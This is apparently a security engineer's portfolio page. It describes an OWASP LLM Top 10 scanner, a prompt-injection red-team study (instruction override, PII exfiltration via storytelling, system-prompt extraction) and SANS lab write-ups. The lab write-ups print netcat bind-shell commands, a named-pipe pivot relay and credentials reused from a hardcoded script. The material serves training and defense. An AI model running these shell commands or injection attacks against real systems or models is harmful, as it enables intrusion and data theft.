I secure AI applications and the AWS systems they run on. I ship llm-audit, an OWASP LLM Top 10 scanner on npm. Five years of production React and Next.js is why I know where the bugs hide. Charleston, SC. Open to remote US roles.
GIAC GCIH + GSEC + GFACT · HackOps 2024 1st Place · HarborHack 2025 Speaker · US Work Authorized
Flagship project · Open source · MIT
Static analysis for TypeScript and JavaScript LLM applications. OWASP LLM Top 10 at commit time. It catches the security failure modes AI coding assistants quietly introduce, in the TS/JS ecosystem Semgrep's official AI pack does not cover.
npm i -D llm-audit
npx llm-audit demo # all 12 rules vs bundled vulnerable fixturestest/fixtures/llm-output-insecure-handling/vulnerable.tsx 6 findings
✗ error llm-output-insecure-handling LLM10 line 18
LLM model output is flowing into a dangerous sink (eval /
new Function / child_process / dangerouslySetInnerHTML).
17 │ // ruleid: llm-output-insecure-handling
18 │ return eval(r.choices[0].message.content as string);
19 │ }
...
────────────────────────────────────────────────────────────
42 findings 31 error · 11 warning in 12 files · 12 of 12 rules firedSelected work, organized by focus.
Role: Solo security research: attack design, evaluation harness, mitigation patterns, writeups
Reproducible red-team study of prompt-injection techniques mapped to OWASP LLM Top 10 and MITRE ATLAS, tested across frontier and budget-tier models via Vercel AI Gateway. Three attacks seeded so far, across LLM01, LLM02, and LLM08.
Production LLM features ship with informal defenses. Whether they hold up under structured attack chains is mostly anecdote, with no published, reproducible matrix of attack vs. model vs. mitigation in the open TS/JS ecosystem.
Catalog prompt-injection techniques mapped to OWASP LLM Top 10 and MITRE ATLAS. Run each attack across frontier and budget-tier models via Vercel AI Gateway. Pin model IDs and commit prompts to source so every result is reproducible. Each attack ships paired with a defensive mitigation.
Live at /ai-playground with three seeded attacks: instruction override (LLM01), PII exfiltration via storytelling (LLM02), and system prompt extraction via summary (LLM08). Next: the attack vs. model vs. mitigation matrix, transcripts, and a live sandbox.
Mentorship platform onboarding ~1,200 users. Built React UI components and the authentication flow with security-focused defaults.
Mentorship platform needed secure, scalable onboarding for ~1,200 users.
React UI components and a Cognito-backed authentication flow with session handling and security headers. Input validation across 4 form types covering ~40 questions. Infrastructure provisioned with scoped IAM access controls.
60% improvement in onboarding efficiency. Secure registration and sign-in live in production.
5+ years across startups, agencies, and independent consulting
Security review, auth, and IAM for serverless client apps on AWS. Joined translating Figma designs into React/Next.js. Now owns architecture, API design, and database design.
Auth and access control for a Svelte product app, plus Querri's HubSpot marketing site.
First engineering role after JRS Coding School bootcamp. Promoted from Software Engineer I to II. Full-stack development on Angular/NestJs with Azure cloud services.
Current work, then the path that got me here.
These days, most of my work lives where shipping software meets breaking it. Right now I'm running a prompt-injection lab against a chatbot I built, testing how well the usual defenses hold up under realistic attack patterns. Findings live at /ai-playground. That work fed into llm-audit, an OWASP LLM Top 10 static analyzer I ship on npm for TypeScript and JavaScript codebases.
By day I'm at GDNA, doing security review, auth, and IAM for serverless apps on AWS. The interesting parts sit on the boundary between feature development and security: input validation, auth flows, S3 policies, secrets handling, and figuring out where things break when no one's watching.
My security path started with the SANS Cyber Academy scholarship, which got me the GIAC GFACT, GSEC, and GCIH certifications. PortSwigger BSCP is in progress, targeting Q4 2026, then AWS Security Specialty (SCS-C03) in Q1 2027. The focus from here is AI and LLM security plus cloud security engineering.
Before software: I'm from Spain, six years in commercial construction (structural detailing, CAD, project management). Studied architectural engineering at IE University.
I'm looking for a full-time Senior Application Security or AI Security Engineer role, remote US or Charleston. I also take a small number of contract engagements through my consultancy, IberiaTech Solutions: fixed scope security reviews for AI built apps. You vibe coded the MVP. I make sure it is safe to ship. Email luis.lozoya.tech@gmail.com.
Updated Oct 3, 2026
Hands-on labs with real captures and full writeups.
Analyzed 173K VPC flow records across 579 log files: isolated 33,232 attacker flows from 20.106.124.93, determined a 6.5-hour attack window, quantified 265MB exfiltrated on port 8889 and 190MB on port 80, and confirmed the full attack surface (HTTP, SSH, 8889) using PCAP-to-NetFlow conversion with nfpcapd/nfdump.
Investigated a 628K-packet PCAP in Wireshark: used protocol hierarchy and conversation statistics to surface a port-80 scanning pattern from 3.142.238.241, followed an HTTP stream revealing a successful WordPress brute-force login (Hydra, admin/#AlphaInc!), and completed a live-capture exercise extracting an HTTP object from loopback traffic.
Analyzed PCAP traffic with tcpdump: identified /.env probing, WordPress brute-force with Hydra, and cleartext login parameters visible in the HTTP payload.
Validated Snort 3.1.73 config, tightened HOME_NET to 10.130.0.0/16, ran the community ruleset against investigate.pcap, and surfaced an SSH CRC32 overflow shellcode pattern (294 alerts from 20.106.124.93 → 10.130.8.94:22). Re-ran Snort with a BPF filter pinned to the attacker IP, then processed the same PCAP with Zeek's extract-all-files policy and confirmed log output.
Used netcat between a Slingshot Linux host and a Windows host for listener/client chat, then transferred files both ways (Get-Content piped into nc on Windows, redirect out on Linux, and the reverse with Out-File). Set up bind shells on both operating systems (nc -l -p 7777 -e /bin/sh on Linux; nc <ip> 8888 -e cmd.exe on Windows), confirming SYSTEM-adjacent context on each. The finale was a pivot: the attacker could not reach 172.30.0.55, but a compromised pivot host at 172.30.0.50 could. A named-pipe relay (mkfifo namedpipe; nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe) let the attacker curl the target through the pivot; the target's access log showed the pivot's IP, not the attacker's.
Started with credentials for tdoudney and listed shares on 172.30.0.22 (IT, CustomerDev, Home, plus the default SYSVOL/NETLOGON/C$/ADMIN$/IPC$). The IT share held logon.cmd (drive mappings) and netssh.cmd (a proxy config pointing at proxy.falsimentis.com:3128). The Home share exposed every user's directory; csparkes was correctly locked (ACCESS_DENIED) but tdoudney's own directory held backup.ps1 and backup.ps1.OLD. The current script used Get-Credential correctly, but the .OLD version hardcoded ConvertTo-SecureString 'Clippers2022' for falsimentis.com\csparkes. Reusing csparkes/Clippers2022 opened the CustomerDev share, which contained a web app tree and db.backup.sql.zip (33.8 MB).
Labs are from SANS Cyber Academy.
Public notes from every security course I take, in my own words.
TCM Practical Bug Bounty (PBB)
Web pentest practice. PWPA exam planned.
PortSwigger Web Security Academy
Burp Suite Certified Practitioner (BSCP) prep
Fit Check
Paste a job description and get an honest AI assessment of how Luis's experience maps to the role.
Sent to OpenAI to generate the assessment. Not stored here. Do not paste anything confidential. Privacy
Hiring for AppSec or AI Security? Let's talk. Reach out via the form below or connect on LinkedIn
luis.lozoya.tech@gmail.com. I reply within 24 hours to recruiters and hiring managers.